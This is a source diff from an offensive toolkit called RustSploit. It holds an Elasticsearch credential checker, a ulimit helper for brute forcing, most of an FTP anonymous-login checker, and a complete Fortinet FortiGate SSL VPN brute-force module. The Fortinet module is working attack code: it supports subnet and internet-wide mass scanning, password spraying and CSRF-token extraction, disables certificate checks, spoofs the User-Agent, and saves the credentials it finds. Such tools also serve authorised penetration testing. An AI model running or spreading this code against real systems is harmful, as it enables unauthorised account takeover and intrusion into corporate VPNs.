||||
// Connection error — fall through to root endpoint check
|
||||
let err_str = e.to_string();
|
||||
if err_str.contains("Connection refused") || err_str.contains("connect") {
|
||||
return Err(anyhow!("Connection refused: {}", err_str));
|
||||
}
|
||||
// Try root endpoint as fallback
|
||||
return try_es_root_login(base_url, username, password, &client, timeout_duration).await;
|
||||
}
|
||||
Err(_) => return Err(anyhow!("Connection timeout")),
|
||||
};
|
||||
|
||||
let status = auth_resp.status().as_u16();
|
||||
|
||||
match status {
|
||||
200 => {
|
||||
// Verify we got a valid JSON response with authentication info
|
||||
let body = match tokio::time::timeout(timeout_duration, auth_resp.text()).await {
|
||||
Ok(Ok(b)) => b,
|
||||
Ok(Err(e)) => return Err(anyhow!("Failed to read response: {}", e)),
|
||||
Err(_) => return Err(anyhow!("Timeout reading response")),
|
||||
};
|
||||
if body.contains("username") || body.contains("roles") || body.contains("enabled") {
|
||||
return Ok(true);
|
||||
}
|
||||
// Got 200 but unexpected body — try root endpoint
|
||||
return try_es_root_login(base_url, username, password, &client, timeout_duration).await;
|
||||
}
|
||||
401 => return Ok(false),
|
||||
403 => {
|
||||
// 403 could mean valid creds but insufficient privileges for security API
|
||||
// Try root endpoint as fallback
|
||||
return try_es_root_login(base_url, username, password, &client, timeout_duration).await;
|
||||
}
|
||||
404 => {
|
||||
// Security plugin not installed — try root endpoint
|
||||
return try_es_root_login(base_url, username, password, &client, timeout_duration).await;
|
||||
}
|
||||
_ => {
|
||||
return try_es_root_login(base_url, username, password, &client, timeout_duration).await;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// Fallback: try authenticating against the Elasticsearch root endpoint `/`.
|
||||
/// A successful auth returns JSON with `cluster_name`.
|
||||
async fn try_es_root_login(
|
||||
base_url: &str,
|
||||
username: &str,
|
||||
password: &str,
|
||||
client: &reqwest::Client,
|
||||
timeout_duration: Duration,
|
||||
) -> Result<bool> {
|
||||
let root_url = format!("{}/", base_url);
|
||||
let resp = match tokio::time::timeout(
|
||||
timeout_duration,
|
||||
client.get(&root_url).basic_auth(username, Some(password)).send(),
|
||||
)
|
||||
.await
|
||||
{
|
||||
Ok(Ok(r)) => r,
|
||||
Ok(Err(e)) => return Err(anyhow!("Connection error: {}", e)),
|
||||
Err(_) => return Err(anyhow!("Connection timeout")),
|
||||
};
|
||||
|
||||
let status = resp.status().as_u16();
|
||||
|
||||
match status {
|
||||
200 => {
|
||||
let body = match tokio::time::timeout(timeout_duration, resp.text()).await {
|
||||
Ok(Ok(b)) => b,
|
||||
Ok(Err(e)) => return Err(anyhow!("Failed to read response: {}", e)),
|
||||
Err(_) => return Err(anyhow!("Timeout reading response")),
|
||||
};
|
||||
// Elasticsearch root returns JSON with cluster_name when authenticated
|
||||
if body.contains("cluster_name") {
|
||||
Ok(true)
|
||||
} else {
|
||||
Ok(false)
|
||||
}
|
||||
}
|
||||
401 => Ok(false),
|
||||
_ => Err(anyhow!("Unexpected HTTP status: {}", status)),
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,135 @@
|
||||
use anyhow::{Result, anyhow};
|
||||
use colored::*;
|
||||
use rlimit::Resource;
|
||||
|
||||
const TARGET_FILE_LIMIT: u64 = 65535;
|
||||
|
||||
pub fn info() -> crate::module_info::ModuleInfo {
|
||||
crate::module_info::ModuleInfo {
|
||||
name: "System Ulimit Configuration".to_string(),
|
||||
description: "Raises file descriptor limits (ulimit) for the current process to support high-concurrency brute-force operations. Provides guidance for persistent system configuration.".to_string(),
|
||||
authors: vec!["RustSploit Contributors".to_string()],
|
||||
references: vec![],
|
||||
disclosure_date: None,
|
||||
rank: crate::module_info::ModuleRank::Normal,
|
||||
}
|
||||
}
|
||||
|
||||
fn display_banner() {
|
||||
if crate::utils::is_batch_mode() { return; }
|
||||
crate::mprintln!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
|
||||
crate::mprintln!("{}", "║ System Ulimit Configuration Utility ║".cyan());
|
||||
crate::mprintln!("{}", "║ Raises file descriptor limits for brute forcing ║".cyan());
|
||||
crate::mprintln!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
|
||||
crate::mprintln!();
|
||||
}
|
||||
|
||||
/// Module entry point for raising ulimit
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
// Target parameter is part of standard module interface
|
||||
// For ulimit operations, target is informational only
|
||||
if !target.is_empty() {
|
||||
crate::mprintln!("{}", format!("[*] Target context: {}", target).dimmed());
|
||||
}
|
||||
raise_ulimit().await
|
||||
}
|
||||
|
||||
/// Get current resource limits
|
||||
fn get_current_limits() -> Result<(u64, u64)> {
|
||||
let (soft, hard) = Resource::NOFILE.get()
|
||||
.map_err(|e| anyhow!("Failed to get current limits: {}", e))?;
|
||||
Ok((soft, hard))
|
||||
}
|
||||
|
||||
/// Set resource limits directly in the current process
|
||||
fn set_file_limit(soft: u64, hard: u64) -> Result<()> {
|
||||
Resource::NOFILE.set(soft, hard)
|
||||
.map_err(|e| anyhow!("Failed to set limits: {}", e))
|
||||
}
|
||||
|
||||
/// Raise ulimit to 65535 using setrlimit syscall (actually works for current process)
|
||||
async fn raise_ulimit() -> Result<()> {
|
||||
display_banner();
|
||||
|
||||
// Get current limits
|
||||
let (current_soft, current_hard) = match get_current_limits() {
|
||||
Ok(limits) => limits,
|
||||
Err(e) => {
|
||||
crate::mprintln!("{}", format!("[-] Failed to get current limits: {}", e).red());
|
||||
(0, 0)
|
||||
}
|
||||
};
|
||||
|
||||
crate::mprintln!("{}", format!("[*] Current limits - Soft: {}, Hard: {}", current_soft, current_hard).cyan());
|
||||
|
||||
if current_soft >= TARGET_FILE_LIMIT {
|
||||
crate::mprintln!("{}", format!("[+] Open file limit already at {} or higher.", current_soft).green().bold());
|
||||
return Ok(());
|
||||
}
|
||||
|
||||
crate::mprintln!("{}", format!("[*] Attempting to raise open file limit to {}", TARGET_FILE_LIMIT).cyan());
|
||||
|
||||
// Determine the target limits
|
||||
let target_hard = if current_hard >= TARGET_FILE_LIMIT {
|
||||
current_hard
|
||||
} else {
|
||||
TARGET_FILE_LIMIT
|
||||
};
|
||||
|
||||
let target_soft = TARGET_FILE_LIMIT.min(target_hard);
|
||||
|
||||
// Try to set the limit using setrlimit syscall (works for current process)
|
||||
match set_file_limit(target_soft, target_hard) {
|
||||
Ok(()) => {
|
||||
crate::mprintln!("{}", format!("[+] Successfully set file limit to {}", target_soft).green().bold());
|
||||
}
|
||||
Err(e) => {
|
||||
// If we can't raise hard limit, try just raising soft to current hard
|
||||
crate::mprintln!("{}", format!("[-] Could not set to {}: {}", TARGET_FILE_LIMIT, e).yellow());
|
||||
|
||||
if current_hard > current_soft {
|
||||
crate::mprintln!("{}", format!("[*] Trying to raise soft limit to hard limit ({})...", current_hard).cyan());
|
||||
match set_file_limit(current_hard, current_hard) {
|
||||
Ok(()) => {
|
||||
crate::mprintln!("{}", format!("[+] Raised soft limit to {}", current_hard).green());
|
||||
}
|
||||
Err(e2) => {
|
||||
crate::mprintln!("{}", format!("[-] Could not raise soft limit: {}", e2).red());
|
||||
crate::mprintln!("{}", "[!] Try running as root or adjust /etc/security/limits.conf".yellow());
|
||||
}
|
||||
}
|
||||
} else {
|
||||
crate::mprintln!("{}", "[!] Hard limit is the same as soft limit.".yellow());
|
||||
crate::mprintln!("{}", "[!] To increase further, run as root or edit /etc/security/limits.conf".yellow());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Verify the new limits
|
||||
match get_current_limits() {
|
||||
Ok((new_soft, new_hard)) => {
|
||||
crate::mprintln!("{}", format!("[*] New limits - Soft: {}, Hard: {}", new_soft, new_hard).cyan());
|
||||
if new_soft >= TARGET_FILE_LIMIT {
|
||||
crate::mprintln!("{}", "[+] File descriptor limit successfully raised!".green().bold());
|
||||
} else if new_soft > current_soft {
|
||||
crate::mprintln!("{}", format!("[+] Limit raised from {} to {}", current_soft, new_soft).green());
|
||||
} else {
|
||||
crate::mprintln!("{}", "[-] Limit unchanged.".yellow());
|
||||
}
|
||||
}
|
||||
Err(e) => {
|
||||
crate::mprintln!("{}", format!("[-] Could not verify new limits: {}", e).yellow());
|
||||
}
|
||||
}
|
||||
|
||||
// Also show shell instructions for reference
|
||||
crate::mprintln!();
|
||||
crate::mprintln!("{}", "=== Shell Instructions ===".bold());
|
||||
crate::mprintln!("{}", "To raise limits in your shell before running rustsploit:".dimmed());
|
||||
crate::mprintln!("{}", " ulimit -n 65535".white());
|
||||
crate::mprintln!("{}", "Or to make permanent, add to /etc/security/limits.conf:".dimmed());
|
||||
crate::mprintln!("{}", " * soft nofile 65535".white());
|
||||
crate::mprintln!("{}", " * hard nofile 65535".white());
|
||||
|
||||
Ok(())
|
||||
}
|
||||
@@ -0,0 +1,592 @@
|
||||
use crate::utils::{
|
||||
generate_combos_mode, parse_combo_mode, load_credential_file,
|
||||
is_mass_scan_target, is_subnet_target, run_bruteforce, run_mass_scan,
|
||||
run_subnet_bruteforce, BruteforceConfig, LoginResult, MassScanConfig, SubnetScanConfig,
|
||||
};
|
||||
use crate::utils::{
|
||||
cfg_prompt_default, cfg_prompt_existing_file, cfg_prompt_output_file, cfg_prompt_port,
|
||||
cfg_prompt_yes_no, get_filename_in_current_dir, load_lines, normalize_target, url_encode,
|
||||
};
|
||||
use anyhow::{anyhow, Result};
|
||||
use colored::*;
|
||||
use std::sync::LazyLock as Lazy;
|
||||
use regex::Regex;
|
||||
use reqwest::{redirect::Policy, ClientBuilder};
|
||||
use std::{io::Write, net::IpAddr, time::Duration};
|
||||
|
||||
pub fn info() -> crate::module_info::ModuleInfo {
|
||||
crate::module_info::ModuleInfo {
|
||||
name: "Fortinet SSL VPN Brute Force".to_string(),
|
||||
description: "Brute-force Fortinet FortiGate SSL VPN web authentication. Tests credentials against the FortiOS login portal with certificate pinning, realm support, and subnet/mass scanning.".to_string(),
|
||||
authors: vec!["RustSploit Contributors".to_string()],
|
||||
references: vec![],
|
||||
disclosure_date: None,
|
||||
rank: crate::module_info::ModuleRank::Normal,
|
||||
}
|
||||
}
|
||||
|
||||
fn display_banner() {
|
||||
if crate::utils::is_batch_mode() { return; }
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
"╔═══════════════════════════════════════════════════════════╗".cyan()
|
||||
);
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
"║ Fortinet SSL VPN Brute Force Module ║".cyan()
|
||||
);
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
"║ FortiGate Web Login Credential Testing ║".cyan()
|
||||
);
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
"╚═══════════════════════════════════════════════════════════╝".cyan()
|
||||
);
|
||||
crate::mprintln!();
|
||||
}
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
display_banner();
|
||||
crate::mprintln!("{}", format!("[*] Target: {}", target).cyan());
|
||||
|
||||
// --- Mass Scan Mode ---
|
||||
if is_mass_scan_target(target) {
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!("[*] Target: {} — Mass Scan Mode", target).yellow()
|
||||
);
|
||||
return run_mass_scan(
|
||||
target,
|
||||
MassScanConfig {
|
||||
protocol_name: "FortiGate",
|
||||
default_port: 443,
|
||||
state_file: "fortinet_hose_state.log",
|
||||
default_output: "fortinet_mass_results.txt",
|
||||
default_concurrency: 200,
|
||||
},
|
||||
move |ip, port| async move {
|
||||
let url = format!("https://{}:{}/remote/logincheck", ip, port);
|
||||
let client =
|
||||
crate::utils::build_http_client(std::time::Duration::from_secs(5)).ok()?;
|
||||
let resp = client.get(&url).send().await.ok()?;
|
||||
if resp.status().is_success() || resp.status().as_u16() == 401 {
|
||||
let ts = chrono::Local::now().format("%Y-%m-%d %H:%M:%S");
|
||||
Some(format!(
|
||||
"[{}] {}:{} FortiGate login page found\n",
|
||||
ts, ip, port
|
||||
))
|
||||
} else {
|
||||
None
|
||||
}
|
||||
},
|
||||
)
|
||||
.await;
|
||||
}
|
||||
|
||||
// --- Subnet Scan Mode ---
|
||||
if is_subnet_target(target) {
|
||||
let port: u16 = cfg_prompt_port("port", "Fortinet VPN Port", 443).await?;
|
||||
|
||||
let usernames_file =
|
||||
cfg_prompt_existing_file("username_wordlist", "Username wordlist").await?;
|
||||
let passwords_file =
|
||||
cfg_prompt_existing_file("password_wordlist", "Password wordlist").await?;
|
||||
let users = load_lines(&usernames_file)?;
|
||||
let passes = load_lines(&passwords_file)?;
|
||||
if users.is_empty() {
|
||||
return Err(anyhow!("Username wordlist is empty"));
|
||||
}
|
||||
if passes.is_empty() {
|
||||
return Err(anyhow!("Password wordlist is empty"));
|
||||
}
|
||||
|
||||
let concurrency: usize = {
|
||||
let input = cfg_prompt_default("concurrency", "Max concurrent hosts", "10").await?;
|
||||
input.parse::<usize>().unwrap_or(10).max(1).min(256)
|
||||
};
|
||||
let verbose = cfg_prompt_yes_no("verbose", "Verbose mode?", false).await?;
|
||||
let output_file = cfg_prompt_output_file(
|
||||
"output_file",
|
||||
"Output result file",
|
||||
"fortinet_subnet_results.txt",
|
||||
)
|
||||
.await?;
|
||||
|
||||
let timeout_secs: u64 = {
|
||||
let input = cfg_prompt_default("timeout", "Connection timeout (seconds)", "10").await?;
|
||||
input.parse::<u64>().unwrap_or(10).max(1).min(300)
|
||||
};
|
||||
let timeout_duration = Duration::from_secs(timeout_secs);
|
||||
|
||||
let realm_str = cfg_prompt_default("realm", "Authentication realm (optional)", "").await?;
|
||||
let realm: Option<String> = if realm_str.is_empty() {
|
||||
None
|
||||
} else {
|
||||
Some(realm_str)
|
||||
};
|
||||
|
||||
let trusted_cert_str = cfg_prompt_default(
|
||||
"trusted_cert",
|
||||
"Trusted certificate SHA256 (optional, press Enter to skip)",
|
||||
"",
|
||||
)
|
||||
.await?;
|
||||
let trusted_cert: Option<String> = if trusted_cert_str.is_empty() {
|
||||
None
|
||||
} else {
|
||||
Some(trusted_cert_str)
|
||||
};
|
||||
|
||||
return run_subnet_bruteforce(
|
||||
target,
|
||||
port,
|
||||
users,
|
||||
passes,
|
||||
&SubnetScanConfig {
|
||||
concurrency,
|
||||
verbose,
|
||||
output_file,
|
||||
service_name: "fortinet-vpn",
|
||||
jitter_ms: 50,
|
||||
source_module: "creds/generic/fortinet_credcheck",
|
||||
skip_tcp_check: false,
|
||||
},
|
||||
move |ip: IpAddr, port: u16, user: String, pass: String| {
|
||||
let realm = realm.clone();
|
||||
let trusted_cert = trusted_cert.clone();
|
||||
let timeout_dur = timeout_duration;
|
||||
async move {
|
||||
let base_url = format!("https://{}:{}", ip, port);
|
||||
match try_fortinet_login(
|
||||
&base_url,
|
||||
&user,
|
||||
&pass,
|
||||
&realm,
|
||||
&trusted_cert,
|
||||
timeout_dur,
|
||||
)
|
||||
.await
|
||||
{
|
||||
Ok(true) => LoginResult::Success,
|
||||
Ok(false) => LoginResult::AuthFailed,
|
||||
Err(e) => LoginResult::Error {
|
||||
message: e.to_string(),
|
||||
retryable: true,
|
||||
},
|
||||
}
|
||||
}
|
||||
},
|
||||
)
|
||||
.await;
|
||||
}
|
||||
|
||||
// --- Single Target Mode ---
|
||||
|
||||
// Port
|
||||
let port: u16 = cfg_prompt_port("port", "Fortinet VPN Port", 443).await?;
|
||||
|
||||
// Protocol-specific: realm and trusted certificate
|
||||
let realm_str = cfg_prompt_default("realm", "Authentication realm (optional)", "").await?;
|
||||
let realm: Option<String> = if realm_str.is_empty() {
|
||||
None
|
||||
} else {
|
||||
Some(realm_str)
|
||||
};
|
||||
|
||||
let trusted_cert_str = cfg_prompt_default(
|
||||
"trusted_cert",
|
||||
"Trusted certificate SHA256 (optional, press Enter to skip)",
|
||||
"",
|
||||
)
|
||||
.await?;
|
||||
let trusted_cert: Option<String> = if trusted_cert_str.is_empty() {
|
||||
None
|
||||
} else {
|
||||
Some(trusted_cert_str)
|
||||
};
|
||||
|
||||
// Wordlists
|
||||
let usernames_file =
|
||||
cfg_prompt_existing_file("username_wordlist", "Username wordlist path").await?;
|
||||
let passwords_file =
|
||||
cfg_prompt_existing_file("password_wordlist", "Password wordlist path").await?;
|
||||
|
||||
// Concurrency and timeout
|
||||
let concurrency: usize = {
|
||||
let input = cfg_prompt_default("concurrency", "Max concurrent tasks", "10").await?;
|
||||
input.parse::<usize>().unwrap_or(10).max(1).min(256)
|
||||
};
|
||||
|
||||
let connection_timeout: u64 = {
|
||||
let input = cfg_prompt_default("timeout", "Connection timeout (seconds)", "10").await?;
|
||||
input.parse::<u64>().unwrap_or(10).max(1).min(300)
|
||||
};
|
||||
|
||||
// Stop on first success
|
||||
let stop_on_success =
|
||||
cfg_prompt_yes_no("stop_on_success", "Stop on first success?", true).await?;
|
||||
|
||||
// Save results and output file
|
||||
let save_results = cfg_prompt_yes_no("save_results", "Save results to file?", true).await?;
|
||||
let save_path = if save_results {
|
||||
Some(
|
||||
cfg_prompt_output_file("output_file", "Output file name", "fortinet_results.txt")
|
||||
.await?,
|
||||
)
|
||||
} else {
|
||||
None
|
||||
};
|
||||
|
||||
// Verbose
|
||||
let verbose = cfg_prompt_yes_no("verbose", "Verbose mode?", false).await?;
|
||||
|
||||
// Combo mode
|
||||
let combo_input = cfg_prompt_default("combo_mode", "Combo mode (linear/combo/spray)", "combo").await?;
|
||||
|
||||
// Load wordlists
|
||||
let users = load_lines(&usernames_file)?;
|
||||
if users.is_empty() {
|
||||
return Err(anyhow!("Username wordlist is empty"));
|
||||
}
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!("[*] Loaded {} usernames", users.len()).green()
|
||||
);
|
||||
|
||||
let passwords = load_lines(&passwords_file)?;
|
||||
if passwords.is_empty() {
|
||||
return Err(anyhow!("Password wordlist is empty"));
|
||||
}
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!("[*] Loaded {} passwords", passwords.len()).green()
|
||||
);
|
||||
|
||||
let mut combos = generate_combos_mode(&users, &passwords, parse_combo_mode(&combo_input));
|
||||
if cfg_prompt_yes_no("cred_file", "Load additional user:pass combos from file?", false).await? {
|
||||
let cred_path = cfg_prompt_existing_file("cred_file_path", "Credential file (user:pass per line)").await?;
|
||||
combos.extend(load_credential_file(&cred_path)?);
|
||||
}
|
||||
let timeout_duration = Duration::from_secs(connection_timeout);
|
||||
|
||||
let normalized = normalize_target(target)?;
|
||||
let target_host = normalized.clone();
|
||||
|
||||
crate::mprintln!(
|
||||
"\n{}",
|
||||
format!("[*] Starting brute-force on {}:{}", target_host, port).cyan()
|
||||
);
|
||||
|
||||
// Build the try_login closure that captures Fortinet-specific state
|
||||
let try_login = move |t: String, p: u16, user: String, pass: String| {
|
||||
let realm = realm.clone();
|
||||
let trusted_cert = trusted_cert.clone();
|
||||
let timeout_dur = timeout_duration;
|
||||
async move {
|
||||
let base_url =
|
||||
build_fortinet_url(&t, p).unwrap_or_else(|_| format!("https://{}:{}", t, p));
|
||||
match try_fortinet_login(&base_url, &user, &pass, &realm, &trusted_cert, timeout_dur)
|
||||
.await
|
||||
{
|
||||
Ok(true) => LoginResult::Success,
|
||||
Ok(false) => LoginResult::AuthFailed,
|
||||
Err(e) => LoginResult::Error {
|
||||
message: e.to_string(),
|
||||
retryable: true,
|
||||
},
|
||||
}
|
||||
}
|
||||
};
|
||||
|
||||
let result = run_bruteforce(
|
||||
&BruteforceConfig {
|
||||
target: target_host,
|
||||
port,
|
||||
concurrency,
|
||||
stop_on_success,
|
||||
verbose,
|
||||
delay_ms: 100,
|
||||
max_retries: 2,
|
||||
service_name: "fortinet-vpn",
|
||||
jitter_ms: 50,
|
||||
source_module: "creds/generic/fortinet_credcheck",
|
||||
},
|
||||
combos,
|
||||
try_login,
|
||||
)
|
||||
.await?;
|
||||
|
||||
result.print_found();
|
||||
if let Some(ref path) = save_path {
|
||||
result.save_to_file(path)?;
|
||||
}
|
||||
|
||||
// Unknown / errored attempts
|
||||
if !result.errors.is_empty() {
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!(
|
||||
"[?] Collected {} unknown/errored Fortinet responses.",
|
||||
result.errors.len()
|
||||
)
|
||||
.yellow()
|
||||
.bold()
|
||||
);
|
||||
if cfg_prompt_yes_no(
|
||||
"save_unknown_responses",
|
||||
"Save unknown responses to file?",
|
||||
true,
|
||||
)
|
||||
.await?
|
||||
{
|
||||
let default_name = "fortinet_unknown_responses.txt";
|
||||
let fname = cfg_prompt_output_file(
|
||||
"unknown_responses_file",
|
||||
"What should the unknown results be saved as?",
|
||||
default_name,
|
||||
)
|
||||
.await?;
|
||||
let filename = get_filename_in_current_dir(&fname);
|
||||
use std::os::unix::fs::OpenOptionsExt;
|
||||
let mut opts = std::fs::OpenOptions::new();
|
||||
opts.write(true).create(true).truncate(true);
|
||||
opts.mode(0o600);
|
||||
match opts.open(&filename) {
|
||||
Ok(mut file) => {
|
||||
writeln!(
|
||||
file,
|
||||
"# Fortinet Bruteforce Unknown/Errored Responses (host,user,pass,error)"
|
||||
)?;
|
||||
for (host, user, pass, msg) in &result.errors {
|
||||
writeln!(file, "{} -> {}:{} - {}", host, user, pass, msg)?;
|
||||
}
|
||||
file.flush()?;
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!("[+] Unknown responses saved to '{}'", filename.display()).green()
|
||||
);
|
||||
}
|
||||
Err(e) => {
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!(
|
||||
"[!] Could not create unknown response file '{}': {}",
|
||||
filename.display(),
|
||||
e
|
||||
)
|
||||
.red()
|
||||
);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
async fn try_fortinet_login(
|
||||
base_url: &str,
|
||||
username: &str,
|
||||
password: &str,
|
||||
realm: &Option<String>,
|
||||
trusted_cert: &Option<String>,
|
||||
timeout_duration: Duration,
|
||||
) -> Result<bool> {
|
||||
let mut client_builder = ClientBuilder::new()
|
||||
.cookie_store(true)
|
||||
.redirect(Policy::none())
|
||||
.timeout(timeout_duration);
|
||||
|
||||
if trusted_cert.is_some() {
|
||||
client_builder = client_builder
|
||||
.danger_accept_invalid_certs(false)
|
||||
.danger_accept_invalid_hostnames(false);
|
||||
} else {
|
||||
client_builder = client_builder
|
||||
.danger_accept_invalid_certs(true)
|
||||
.danger_accept_invalid_hostnames(true);
|
||||
}
|
||||
|
||||
let client = client_builder
|
||||
.build()
|
||||
.map_err(|e| anyhow!("Failed to create HTTP client: {}", e))?;
|
||||
|
||||
// Get login page
|
||||
let login_page_url = format!("{}/remote/login", base_url);
|
||||
|
||||
let login_page_response =
|
||||
match tokio::time::timeout(timeout_duration, client.get(&login_page_url).send()).await {
|
||||
Ok(Ok(resp)) => resp,
|
||||
Ok(Err(e)) => return Err(anyhow!("Failed to get login page: {}", e)),
|
||||
Err(_) => return Err(anyhow!("Timeout getting login page")),
|
||||
};
|
||||
|
||||
let login_page_body =
|
||||
match tokio::time::timeout(timeout_duration, login_page_response.text()).await {
|
||||
Ok(Ok(body)) => body,
|
||||
Ok(Err(e)) => return Err(anyhow!("Failed to read login page: {}", e)),
|
||||
Err(_) => return Err(anyhow!("Timeout reading login page")),
|
||||
};
|
||||
|
||||
let csrf_token = extract_csrf_token(&login_page_body);
|
||||
|
||||
// Prepare login form data
|
||||
let mut form_data = std::collections::HashMap::new();
|
||||
form_data.insert("username", username.to_string());
|
||||
form_data.insert("password", password.to_string());
|
||||
form_data.insert("ajax", "1".to_string());
|
||||
|
||||
if let Some(r) = realm {
|
||||
if !r.is_empty() {
|
||||
form_data.insert("realm", r.clone());
|
||||
}
|
||||
}
|
||||
|
||||
if let Some(token) = csrf_token {
|
||||
form_data.insert("magic", token.clone());
|
||||
}
|
||||
|
||||
// Send login request
|
||||
let login_url = format!("{}/remote/logincheck", base_url);
|
||||
|
||||
// Build form body
|
||||
let mut form_pairs: Vec<String> = Vec::new();
|
||||
for (key, val) in &form_data {
|
||||
form_pairs.push(format!("{}={}", key, url_encode(val)));
|
||||
}
|
||||
let body = form_pairs.join("&");
|
||||
|
||||
let login_response = match tokio::time::timeout(
|
||||
timeout_duration,
|
||||
client
|
||||
.post(&login_url)
|
||||
.header("Content-Type", "application/x-www-form-urlencoded")
|
||||
.body(body)
|
||||
.header(
|
||||
"User-Agent",
|
||||
"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36",
|
||||
)
|
||||
.header("Referer", &login_page_url)
|
||||
.send(),
|
||||
)
|
||||
.await
|
||||
{
|
||||
Ok(Ok(resp)) => resp,
|
||||
Ok(Err(e)) => return Err(anyhow!("Login request failed: {}", e)),
|
||||
Err(_) => return Err(anyhow!("Timeout during login request")),
|
||||
};
|
||||
|
||||
let status = login_response.status();
|
||||
|
||||
let location_header = login_response
|
||||
.headers()
|
||||
.get("Location")
|
||||
.and_then(|h| h.to_str().ok())
|
||||
.map(|s| s.to_string());
|
||||
|
||||
let cookies: Vec<String> = login_response
|
||||
.cookies()
|
||||
.map(|c| c.name().to_string())
|
||||
.collect();
|
||||
|
||||
let has_auth_cookie = cookies.iter().any(|name| {
|
||||
let lower = name.to_lowercase();
|
||||
lower.contains("session") || lower.contains("svpn") || lower.contains("fortinet")
|
||||
});
|
||||
|
||||
let response_body = match tokio::time::timeout(timeout_duration, login_response.text()).await {
|
||||
Ok(Ok(body)) => body,
|
||||
Ok(Err(e)) => return Err(anyhow!("Failed to read login response: {}", e)),
|
||||
Err(_) => return Err(anyhow!("Timeout reading login response")),
|
||||
};
|
||||
|
||||
// Check for explicit success indicators (case-insensitive)
|
||||
let body_lower = response_body.to_lowercase();
|
||||
let success_indicators = ["redir", "\"1\"", "success", "/remote/index", "portal"];
|
||||
if success_indicators
|
||||
.iter()
|
||||
.any(|&indicator| body_lower.contains(indicator))
|
||||
{
|
||||
return Ok(true);
|
||||
}
|
||||
|
||||
// Check for explicit failure indicators
|
||||
let failure_indicators = ["error", "invalid", "failed", "incorrect", "\"0\""];
|
||||
if failure_indicators
|
||||
.iter()
|
||||
.any(|&indicator| response_body.contains(indicator))
|
||||
{
|
||||
return Ok(false);
|
||||
}
|
||||
|
||||
// Check status code and authentication cookies
|
||||
if status.is_success() && has_auth_cookie {
|
||||
return Ok(true);
|
||||
}
|
||||
|
||||
// Check redirect location for success
|
||||
if status.as_u16() == 302 {
|
||||
if let Some(loc_str) = location_header {
|
||||
let success_redirects = ["/remote/index", "portal", "index"];
|
||||
if success_redirects.iter().any(|&path| loc_str.contains(path)) {
|
||||
return Ok(true);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Ok(false)
|
||||
}
|
||||
|
||||
/// Extracts CSRF token from HTML response using pre-compiled regex patterns
|
||||
fn extract_csrf_token(html: &str) -> Option<String> {
|
||||
static CSRF_PATTERNS: Lazy<Vec<Regex>> = Lazy::new(|| {
|
||||
let patterns = [
|
||||
r#"name="magic"\s+value="([^"]+)""#,
|
||||
r#"name\s*=\s*"magic"\s+value\s*=\s*"([^"]+)""#,
|
||||
r#"name="csrf_token"\s+value="([^"]+)""#,
|
||||
r#"var\s+magic\s*=\s*"([^"]+)""#,
|
||||
r#""magic"\s*:\s*"([^"]+)""#,
|
||||
r#"magic=([^&\s"]+)"#,
|
||||
];
|
||||
patterns
|
||||
.into_iter()
|
||||
.filter_map(|p| Regex::new(p).ok())
|
||||
.collect()
|
||||
});
|
||||
|
||||
for pattern in CSRF_PATTERNS.iter() {
|
||||
if let Some(captures) = pattern.captures(html) {
|
||||
if let Some(token) = captures.get(1) {
|
||||
return Some(token.as_str().to_string());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
None
|
||||
}
|
||||
|
||||
/// Builds Fortinet VPN URL with proper IPv6 handling
|
||||
fn build_fortinet_url(target: &str, port: u16) -> Result<String> {
|
||||
let normalized_host = normalize_target(target)?;
|
||||
|
||||
// Check if port is already present
|
||||
let has_port = if normalized_host.starts_with('[') {
|
||||
// IPv6 case: check if there's a colon after the closing bracket
|
||||
if let Some(bracket_pos) = normalized_host.rfind(']') {
|
||||
normalized_host[bracket_pos..].contains(':')
|
||||
} else {
|
||||
false
|
||||
}
|
||||
} else {
|
||||
normalized_host.contains(':')
|
||||
};
|
||||
|
||||
let url = if has_port {
|
||||
format!("https://{}", normalized_host)
|
||||
} else {
|
||||
format!("https://{}:{}", normalized_host, port)
|
||||
};
|
||||
|
||||
Ok(url)
|
||||
}
|
||||
@@ -0,0 +1,353 @@
|
||||
use anyhow::{anyhow, Result};
|
||||
use colored::*;
|
||||
use std::net::IpAddr;
|
||||
use suppaftp::async_native_tls::TlsConnector;
|
||||
use suppaftp::tokio::{AsyncFtpStream, AsyncNativeTlsConnector, AsyncNativeTlsFtpStream};
|
||||
use tokio::time::{timeout, Duration};
|
||||
|
||||
use crate::utils::{is_mass_scan_target, run_mass_scan, MassScanConfig};
|
||||
use crate::utils::cfg_prompt_yes_no;
|
||||
|
||||
const DEFAULT_TIMEOUT_SECS: u64 = 5;
|
||||
|
||||
pub fn info() -> crate::module_info::ModuleInfo {
|
||||
crate::module_info::ModuleInfo {
|
||||
name: "FTP Anonymous Login Checker".to_string(),
|
||||
description: "Checks for anonymous FTP access on targets. Supports plain FTP and FTPS, IPv4/IPv6, and mass scanning (hose mode).".to_string(),
|
||||
authors: vec!["RustSploit Contributors".to_string()],
|
||||
references: vec![],
|
||||
disclosure_date: None,
|
||||
rank: crate::module_info::ModuleRank::Normal,
|
||||
}
|
||||
}
|
||||
|
||||
fn display_banner() {
|
||||
if crate::utils::is_batch_mode() { return; }
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
"╔═══════════════════════════════════════════════════════════╗".cyan()
|
||||
);
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
"║ FTP Anonymous Login Checker ║".cyan()
|
||||
);
|
||||
crate::mprintln!(
|
||||
"{}",
|
